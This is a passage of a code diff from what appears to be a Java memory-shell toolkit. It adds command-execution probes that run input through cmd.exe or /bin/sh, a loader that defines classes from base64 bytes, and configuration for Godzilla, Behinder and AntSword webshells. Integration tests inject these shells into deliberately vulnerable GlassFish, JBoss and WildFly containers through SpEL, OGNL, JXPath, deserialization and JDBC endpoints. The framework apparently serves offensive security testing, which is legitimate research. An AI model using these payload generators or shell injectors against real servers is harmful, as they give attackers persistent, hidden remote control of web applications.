classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), data);
classBytes = (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64);
}
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class<?> clazz = (Class<?>) defineClass.invoke(new URLClassLoader(new URL[]{}), classBytes, 0, classBytes.length);
ret = clazz.newInstance().toString();
System.out.println(ret);
return ret;
Class<?> clazz = (Class<?>) defineClass.invoke(new java.net.URLClassLoader(new java.net.URL[]{}), classBytes, 0, classBytes.length);
return ret = clazz.newInstance().toString();
}
@Override
@@ -3,7 +3,6 @@ package com.reajason.javaweb.probe.payload;
import lombok.SneakyThrows;
import net.bytebuddy.asm.Advice;
import java.util.NoSuchElementException;
import java.util.Scanner;
/**
@@ -20,12 +19,8 @@ public class CommandProbe {
@Advice.OnMethodExit
public static String exit(@Advice.Argument(0) String data, @Advice.Return(readOnly = false) String ret) throws Exception {
String[] cmd = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", data} : new String[]{"/bin/sh", "-c", data};
Process process = new ProcessBuilder(cmd).start();
try {
return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next();
} catch (NoSuchElementException e) {
return ret = new Scanner(process.getErrorStream()).useDelimiter("\\A").next();
}
Process process = new ProcessBuilder(cmd).redirectErrorStream(true).start();
return ret = new Scanner(process.getInputStream()).useDelimiter("\\A").next();
}
@Override
@@ -0,0 +1,27 @@
package com.reajason.javaweb.memshell;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.memshell.server.AbstractServer;
import org.junit.jupiter.api.Test;
import java.util.Set;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertTrue;
/**
* @author ReaJason
* @since 2025/8/25
*/
class ServerFactoryTest {
@Test
void testSupportedTools() {
AbstractServer server = ServerFactory.getServer(Server.XXLJOB);
Set<String> supportedShellTools = server.getSupportedShellTools();
assertEquals(2, supportedShellTools.size());
assertTrue(supportedShellTools.contains(ShellTool.Command));
assertTrue(supportedShellTools.contains(ShellTool.Godzilla));
}
}
@@ -0,0 +1,35 @@
package com.reajason.javaweb.memshell.config;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.assertNotNull;
/**
* @author ReaJason
* @since 2025/8/26
*/
class AntSwordConfigTest {
@Test
void test() {
AntSwordConfig antSwordConfig = AntSwordConfig.builder()
.pass("")
.headerName(null)
.headerValue("").build();
assertNotNull(antSwordConfig.getPass());
assertNotNull(antSwordConfig.getHeaderName());
assertNotNull(antSwordConfig.getHeaderValue());
}
@Test
void testInit(){
AntSwordConfig antSwordConfig = AntSwordConfig.builder()
.pass("pass")
.headerName("ua")
.headerValue("v").build();
assertEquals("pass", antSwordConfig.getPass());
assertEquals("ua", antSwordConfig.getHeaderName());
assertEquals("v", antSwordConfig.getHeaderValue());
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.memshell.config;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertNotNull;
/**
* @author ReaJason
* @since 2025/8/26
*/
class BehinderConfigTest {
@Test
void test() {
BehinderConfig behinderConfig = BehinderConfig.builder()
.pass(null)
.headerName("")
.headerValue("").build();
assertNotNull(behinderConfig.getPass());
assertNotNull(behinderConfig.getHeaderName());
assertNotNull(behinderConfig.getHeaderValue());
}
}
@@ -0,0 +1,26 @@
package com.reajason.javaweb.memshell.config;
import org.junit.jupiter.api.Test;
import static org.junit.jupiter.api.Assertions.assertNotNull;
/**
* @author ReaJason
* @since 2025/8/25
*/
class GodzillaConfigTest {
@Test
void testNull() {
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
.pass(null)
.key("")
.headerName(null)
.headerValue("")
.build();
assertNotNull(godzillaConfig.getPass());
assertNotNull(godzillaConfig.getKey());
assertNotNull(godzillaConfig.getHeaderName());
assertNotNull(godzillaConfig.getHeaderValue());
}
}
@@ -1,17 +1,21 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.asm.ClassReferenceVisitor;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.CustomConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.shelltool.godzilla.GodzillaValve;
import com.reajason.javaweb.utils.CommonUtil;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.jar.asm.ClassReader;
import org.junit.jupiter.api.Test;
import org.objectweb.asm.ClassReader;
import java.util.Base64;
import java.util.Set;
import static org.junit.jupiter.api.Assertions.assertEquals;
import static org.junit.jupiter.api.Assertions.*;
/**
@@ -27,9 +31,42 @@ class CustomShellGeneratorTest {
.subclass(Object.class)
.name(CommonUtil.generateShellClassName()).make().getBytes();
String className = CommonUtil.generateShellClassName();
byte[] bytes1 = new CustomShellGenerator(ShellConfig.builder().build(), CustomConfig.builder().shellClassName(className).shellClassBase64(Base64.getEncoder().encodeToString(bytes)).build()).getBytes();
ShellConfig shellConfig = ShellConfig.builder()
.shellType(ShellType.FILTER)
.build();
CustomConfig customConfig = CustomConfig.builder()
.shellClassName(className)
.shellClassBase64(Base64.getEncoder().encodeToString(bytes))
.build();
byte[] bytes1 = new CustomShellGenerator(shellConfig, customConfig).getBytes();
ClassReader classReader = new ClassReader(bytes1);
assertEquals(className, classReader.getClassName().replace("/", "."));
}
@Test
@SneakyThrows
void testValue() {
byte[] bytes = new ByteBuddy()
.redefine(GodzillaValve.class)
.name(CommonUtil.generateShellClassName()).make().getBytes();
String className = CommonUtil.generateShellClassName();
ShellConfig shellConfig = ShellConfig.builder()
.server(Server.BES)
.shellType(ShellType.VALVE)
.build();
CustomConfig customConfig = CustomConfig.builder()
.shellClassName(className)
.shellClassBase64(Base64.getEncoder().encodeToString(bytes))
.build();
byte[] bytes1 = new CustomShellGenerator(shellConfig, customConfig).getBytes();
ClassReader classReader = new ClassReader(bytes1);
ClassReferenceVisitor classVisitor = new ClassReferenceVisitor();
classReader.accept(classVisitor, 0);
Set<String> referencedClasses = classVisitor.getReferencedClasses();
assertEquals(className, classReader.getClassName().replace("/", "."));
assertTrue(referencedClasses.contains("com/bes/enterprise/webtier/Valve"));
assertFalse(referencedClasses.contains("org/apache/catalina/Valve"));
}
}
@@ -0,0 +1,24 @@
package com.reajason.javaweb.probe.payload;
import org.junit.jupiter.api.Disabled;
import org.junit.jupiter.api.Test;
import static org.hamcrest.CoreMatchers.anyOf;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.MatcherAssert.assertThat;
/**
* @author ReaJason
* @since 2025/8/26
*/
class CommandProbeTest {
@Test
@Disabled
void test() {
String result = new CommandProbe("hello").toString();
assertThat(result, anyOf(
containsString("not found")
));
}
}
+6 -6
View File
@@ -1,6 +1,6 @@
[versions]
asm = "9.8"
jna = "5.13.0"
jna = "5.13.0" # 为适配 JDK6+ 这个不可修改
bcel = "5.2"
javax-servlet-api = "3.0.1"
javax-websocket-api = "1.1"
@@ -10,16 +10,16 @@ reactor-netty = "1.1.25"
jackson = "2.19.0"
jetbrains-annotations = "26.0.2"
byte-buddy = "1.17.6"
byte-buddy = "1.17.7"
commons-io = "2.20.0"
commons-lang3 = "3.18.0"
commons-codec = "1.19.0"
logback = "1.5.18"
okhttp3 = "5.1.0"
fastjson2 = "2.0.57"
fastjson2 = "2.0.58"
java-websocket = "1.6.0"
mockito = "5.18.0"
mockito = "5.19.0"
hamcrest = "3.0"
junit-jupiter = "5.13.4"
junit-pioneer = "2.3.0"
@@ -62,5 +62,5 @@ mockito = ["mockito-core", "mockito-junit-jupiter"]
testcontainers = ["testcontainers", "testcontainers-junit-jupiter"]
[plugins]
lombok = { id = "io.freefair.lombok", version = "8.14" }
shadow = { id = "com.gradleup.shadow", version = "8.3.8"}
lombok = { id = "io.freefair.lombok", version = "8.14.2" }
shadow = { id = "com.gradleup.shadow", version = "9.0.2"}
+1
View File
@@ -28,6 +28,7 @@ dependencies {
testImplementation(libs.junit.platform.reporting)
testImplementation(libs.junit.jupiter)
testImplementation(libs.junit.pioneer)
testImplementation(libs.logback.classic)
testRuntimeOnly(libs.junit.platform.launcher)
testImplementation(libs.hamcrest)
testImplementation(libs.bundles.testcontainers)
@@ -0,0 +1,11 @@
services:
wildfly30:
image: quay.io/wildfly/wildfly:30.0.1.Final-jdk17
container_name: wildfly30
ports:
- 8080:8080
- 5005:5005
environment:
JAVA_OPTS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
volumes:
- ../../../vul/vul-webapp-jakarta/build/libs/vul-webapp-jakarta.war:/opt/jboss/wildfly/standalone/deployments/app.war
@@ -1,145 +0,0 @@
package com.reajason.javaweb.integration;
import lombok.Builder;
import lombok.Data;
import lombok.SneakyThrows;
import org.junit.platform.engine.TestExecutionResult;
import org.junit.platform.engine.UniqueId;
import org.junit.platform.launcher.TestExecutionListener;
import org.junit.platform.launcher.TestIdentifier;
import org.junit.platform.launcher.TestPlan;
import org.testcontainers.shaded.org.apache.commons.lang3.tuple.Pair;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.nio.file.StandardOpenOption;
import java.time.Duration;
import java.time.Instant;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.concurrent.ConcurrentHashMap;
import java.util.stream.Collectors;
/**
* @author ReaJason
* @since 2024/12/1
*/
public class MarkdownTestExecutionListener implements TestExecutionListener {
private final Map<UniqueId, Instant> timeStamps = new ConcurrentHashMap<>();
private final Map<String, List<TestCase>> testCases = new ConcurrentHashMap<>();
private final Path markdownPath = Paths.get("build", "test-results", "report.md");
private Instant startTime;
@SneakyThrows
@Override
public void testPlanExecutionStarted(TestPlan testPlan) {
Files.deleteIfExists(markdownPath);
ArrayList<String> lines = new ArrayList<>();
lines.add("## Integration Test");
startTime = Instant.now();
lines.add("- Started: " + startTime);
Files.write(markdownPath, lines, StandardOpenOption.CREATE_NEW);
}
@Override
@SneakyThrows
public void testPlanExecutionFinished(TestPlan testPlan) {
List<String> lines = new ArrayList<>();
Instant endTime = Instant.now();
lines.add("- Finished: " + endTime);
Duration duration = Duration.between(startTime, endTime);
lines.add("- Total Duration: " + getDuration(duration));
Pair<Long, Long> countPair = parseCases();
lines.add(String.format("- Total Cases: %d/%d, %d failed", countPair.getLeft(), countPair.getRight(), countPair.getRight() - countPair.getLeft()));
lines.add("");
for (Map.Entry<String, List<TestCase>> entry : testCases.entrySet()) {
lines.add(String.format("### %s", entry.getKey()));
lines.add("|**Shell Type** | **Packer** | **Status**| **Duration(ms)** |");
lines.add("|---------------|------------|-----------|------------------|");
List<TestCase> value = entry.getValue().stream().sorted((tc1, tc2) -> {
if (tc1.getStatus() == tc2.getStatus()) {
return 0;
}
return tc1.getStatus() == TestExecutionResult.Status.FAILED ? -1 : 1;
}).collect(Collectors.toList());
for (TestCase testCase : value) {
String status = testCase.getStatus().equals(TestExecutionResult.Status.SUCCESSFUL) ? "" : "";
lines.add("|" + testCase.getShellType() + "|" + testCase.getPacker() + "|" + status + "|" + testCase.getDuration().toMillis() + "|");
}
}
Files.write(markdownPath, lines, StandardOpenOption.APPEND);
}
private String getDuration(Duration duration) {
long totalSeconds = duration.getSeconds();
long minutes = totalSeconds / 60;
long seconds = totalSeconds % 60;
if (totalSeconds < 60) {
return String.format("%d seconds", totalSeconds);
} else {
return String.format("%d minutes and %d seconds", minutes, seconds);
}
}
private Pair<Long, Long> parseCases() {
long totalCases = 0;
long successCases = 0;
for (List<TestCase> caseList : testCases.values()) {
totalCases += caseList.size();
for (TestCase testCase : caseList) {
if (testCase.getStatus().equals(TestExecutionResult.Status.SUCCESSFUL)) {
successCases++;
}
}
}
return Pair.of(successCases, totalCases);
}
@Override
public void executionFinished(TestIdentifier testIdentifier, TestExecutionResult testExecutionResult) {
if (!testIdentifier.isTest()) {
return;
}
Instant startTime = timeStamps.get(testIdentifier.getUniqueIdObject());
if (startTime == null) {
return;
}
String[] split = testIdentifier.getDisplayName().split("\\|");
if (split.length == 3) {
String imageName = split[0].trim();
String shellType = split[1].trim();
String packer = split[2].trim();
List<TestCase> cases = testCases.getOrDefault(imageName, new ArrayList<>());
cases.add(TestCase.builder()
.imageName(imageName)
.shellType(shellType)
.packer(packer)
.duration(Duration.between(startTime, Instant.now()))
.status(testExecutionResult.getStatus())
.build());
testCases.put(imageName, cases);
}
}
@Override
public void executionStarted(TestIdentifier testIdentifier) {
if (testIdentifier.isTest()) {
timeStamps.put(testIdentifier.getUniqueIdObject(), Instant.now());
}
}
@Data
@Builder
static class TestCase {
private String imageName;
private String shellType;
private String packer;
private Duration duration;
private TestExecutionResult.Status status;
}
}
@@ -49,6 +49,34 @@ public class ProbeAssertion {
}
}
@SneakyThrows
public static void responseBytecodeWithoutPrefixIsOk(String url, String server, int targetJreVersion) {
ProbeConfig probeConfig = ProbeConfig.builder()
.probeMethod(ProbeMethod.ResponseBody)
.probeContent(ProbeContent.Bytecode)
.targetJreVersion(targetJreVersion)
.debug(true)
.shrink(true)
.build();
String reqParamName = "payload";
ResponseBodyConfig responseBodyConfig = ResponseBodyConfig.builder()
.server(server)
.reqParamName(reqParamName)
.build();
ProbeShellResult probeResult = ProbeShellGenerator.generate(probeConfig, responseBodyConfig);
RequestBody requestBody = new FormBody.Builder()
.add("data", probeResult.getShellBytesBase64Str())
.add(reqParamName, DetectionTool.getServerDetection().replace("yv66vgAAAD", ""))
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.url(url + "/b64").post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
assertEquals(server, response.body().string());
}
}
@SneakyThrows
public static void responseCommandIsOk(String url, String server, int targetJreVersion) {
ProbeConfig probeConfig = ProbeConfig.builder()
@@ -6,7 +6,6 @@ import com.reajason.javaweb.godzilla.BlockingJavaWebSocketClient;
import com.reajason.javaweb.godzilla.GodzillaManager;
import com.reajason.javaweb.memshell.MemShellGenerator;
import com.reajason.javaweb.memshell.MemShellResult;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.*;
import com.reajason.javaweb.packer.Packers;
@@ -35,7 +34,11 @@ import java.net.URL;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.Objects;
import java.util.Random;
import static com.reajason.javaweb.memshell.ShellTool.*;
import static com.reajason.javaweb.utils.CommonUtil.INJECTOR_CLASS_NAMES;
import static com.reajason.javaweb.utils.CommonUtil.getRandomString;
import static org.hamcrest.CoreMatchers.anyOf;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.MatcherAssert.assertThat;
@@ -49,17 +52,17 @@ import static org.junit.jupiter.api.Assertions.assertTrue;
@Slf4j
public class ShellAssertion {
public static void shellInjectIsOk(String url, String server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer) {
public static void shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer) {
shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, null);
}
@SneakyThrows
public static void shellInjectIsOk(String url, String server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
public static void shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> container) {
shellInjectIsOk(url, server, shellType, shellTool, targetJdkVersion, packer, container, null);
}
@SneakyThrows
public static Pair<String, String> getUrls(String url, String shellType, ShellTool shellTool, Packers packer) {
public static Pair<String, String> getUrls(String url, String shellType, String shellTool, Packers packer) {
String shellUrl = url + "/test";
String urlPattern = null;
if (shellType.endsWith(ShellType.SERVLET)
@@ -80,14 +83,14 @@ public class ShellAssertion {
}
@SneakyThrows
public static void shellInjectIsOk(String url, String server, String shellType, ShellTool shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
public static void shellInjectIsOk(String url, String server, String shellType, String shellTool, int targetJdkVersion, Packers packer, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
Pair<String, String> urls = getUrls(url, shellType, shellTool, packer);
String shellUrl = urls.getLeft();
String urlPattern = urls.getRight();
ShellToolConfig shellToolConfig = getShellToolConfig(shellType, shellTool, packer);
MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig);
MemShellResult generateResult = generate(urlPattern, server, shellType, shellTool, targetJdkVersion, shellToolConfig, packer);
packerResultAndInject(generateResult, url, shellTool, shellType, packer, appContainer);
@@ -95,7 +98,7 @@ public class ShellAssertion {
}
@SneakyThrows
public static void packerResultAndInject(MemShellResult generateResult, String url, ShellTool shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
public static void packerResultAndInject(MemShellResult generateResult, String url, String shellTool, String shellType, Packers packer, GenericContainer<?> appContainer) {
String content = null;
if (packer.getInstance() instanceof AgentJarPacker) {
byte[] bytes = ((JarPacker) packer.getInstance()).packBytes(generateResult.toJarPackerConfig());
@@ -141,7 +144,7 @@ public class ShellAssertion {
}
@SneakyThrows
public static void assertShellIsOk(MemShellResult generateResult, String shellUrl, ShellTool shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
public static void assertShellIsOk(MemShellResult generateResult, String shellUrl, String shellTool, String shellType, GenericContainer<?> appContainer, GenericContainer<?> pythonContainer) {
switch (shellTool) {
case Godzilla:
godzillaIsOk(shellUrl, ((GodzillaConfig) generateResult.getShellToolConfig()));
@@ -233,7 +236,7 @@ public class ShellAssertion {
assertTrue(antSwordManager.getInfo().contains("ok"));
}
public static ShellToolConfig getShellToolConfig(String shellType, ShellTool shellTool, Packers packer) {
public static ShellToolConfig getShellToolConfig(String shellType, String shellTool, Packers packer) {
ShellToolConfig shellToolConfig = null;
String uniqueName = shellTool + RandomStringUtils.randomAlphabetic(5) + shellType + RandomStringUtils.randomAlphabetic(5) + packer.name();
switch (shellTool) {
@@ -288,11 +291,16 @@ public class ShellAssertion {
return shellToolConfig;
}
public static MemShellResult generate(String urlPattern, String server, String shellType, ShellTool shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig) {
public static MemShellResult generate(String urlPattern, String server, String shellType, String shellTool, int targetJdkVersion, ShellToolConfig shellToolConfig, Packers packer) {
InjectorConfig injectorConfig = new InjectorConfig();
if (StringUtils.isNotBlank(urlPattern)) {
injectorConfig.setUrlPattern(urlPattern);
}
if (Packers.SpELSpringGzipJDK17.equals(packer)
|| Packers.OGNLSpringGzipJDK17.equals(packer)
|| Packers.JXPathSpringGzipJDK17.equals(packer)) {
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
}
ShellConfig shellConfig = ShellConfig.builder()
.server(server)
@@ -306,7 +314,7 @@ public class ShellAssertion {
return MemShellGenerator.generate(shellConfig, injectorConfig, shellToolConfig);
}
public static void injectIsOk(String url, String shellType, ShellTool shellTool, String content, Packers packer, GenericContainer<?> container) {
public static void injectIsOk(String url, String shellType, String shellTool, String content, Packers packer, GenericContainer<?> container) {
switch (packer) {
case JSP, ClassLoaderJSP, DefineClassJSP -> {
String uploadEntry = url + "/upload";
@@ -322,12 +330,15 @@ public class ShellAssertion {
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.urlIsOk(shellUrl);
}
case ScriptEngine -> VulTool.postIsOk(url + "/js", content);
case ScriptEngine, DefaultScriptEngine, ScriptEngineNoSquareBrackets, ScriptEngineBigInteger ->
VulTool.postIsOk(url + "/js", content);
case EL -> VulTool.postIsOk(url + "/el", content);
case SpEL, SpELSpringIOUtils, SpELScriptEngine, SpELSpringUtils -> VulTool.postIsOk(url + "/spel", content);
case OGNL, OGNLSpringIOUtils, OGNLScriptEngine, OGNLSpringUtils -> VulTool.postIsOk(url + "/ognl", content);
case SpEL, SpELSpringGzip, SpELScriptEngine, SpELSpringGzipJDK17 ->
VulTool.postIsOk(url + "/spel", content);
case OGNLSpringGzip, OGNLScriptEngine, OGNLSpringGzipJDK17 -> VulTool.postIsOk(url + "/ognl", content);
case MVEL -> VulTool.postIsOk(url + "/mvel", content);
case JXPath -> VulTool.postIsOk(url + "/jxpath", content);
case JXPath, JXPathScriptEngine, JXPathSpringGzip, JXPathSpringGzipJDK17 ->
VulTool.postIsOk(url + "/jxpath", content);
case JEXL -> VulTool.postIsOk(url + "/jexl2", content);
case Aviator -> VulTool.postIsOk(url + "/aviator", content);
case Groovy -> VulTool.postIsOk(url + "/groovy", content);
@@ -348,6 +359,7 @@ public class ShellAssertion {
case Hessian2Deserialize -> VulTool.postIsOk(url + "/hessian2", content);
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
case Base64 -> VulTool.postIsOk(url + "/b64", content);
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
case H2, H2JS, H2Javac -> VulTool.postIsOk(url + "/jdbc", content);
default -> throw new IllegalStateException("Unexpected value: " + packer);
@@ -1,7 +1,6 @@
package com.reajason.javaweb.integration;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import org.junit.jupiter.params.provider.Arguments;
@@ -23,7 +22,7 @@ public class TestCasesProvider {
String server,
List<String> testShellTypes,
List<Packers> testPackers,
List<Triple<String, ShellTool, Packers>> unSupportedCases) {
List<Triple<String, String, Packers>> unSupportedCases) {
return getTestCases(imageName, server, testShellTypes, testPackers, unSupportedCases, null);
}
@@ -31,9 +30,9 @@ public class TestCasesProvider {
String server,
List<String> testShellTypes,
List<Packers> testPackers,
List<Triple<String, ShellTool, Packers>> unSupportedCases,
List<ShellTool> unSupportedShellTools) {
Set<ShellTool> supportedShellTools = new TreeSet<>(ServerFactory.getServer(server).getSupportedShellTools());
List<Triple<String, String, Packers>> unSupportedCases,
List<String> unSupportedShellTools) {
Set<String> supportedShellTools = new TreeSet<>(ServerFactory.getServer(server).getSupportedShellTools());
if (unSupportedShellTools != null) {
unSupportedShellTools.forEach(supportedShellTools::remove);
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -76,7 +75,7 @@ public class GlassFish3ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -76,7 +75,7 @@ public class GlassFish4ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -68,7 +67,7 @@ public class GlassFish501ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.glassfish;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -69,7 +68,7 @@ public class GlassFish510ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -69,7 +69,7 @@ public class GlassFish6ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
}
}
@@ -68,7 +68,7 @@ public class GlassFish7ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V17, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jbossas;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class Jboss423ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -73,7 +73,7 @@ public class Jboss510ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jbossas;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -70,7 +69,7 @@ public class Jboss610ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jbossas;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -73,7 +72,7 @@ public class Jboss711ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jbosseap;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -67,7 +66,7 @@ public class JbossEap6ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, ShellTool shellTool, Packers packer) {
void test(String imageName, String shellType, String shellTool, Packers packer) {
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
}
}
@@ -2,7 +2,6 @@ package com.reajason.javaweb.integration.memshell.jbosseap;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.TestCasesProvider;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
@@ -68,7 +67,7 @@ public class JbossEap7ContainerTest {
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("casesProvider")
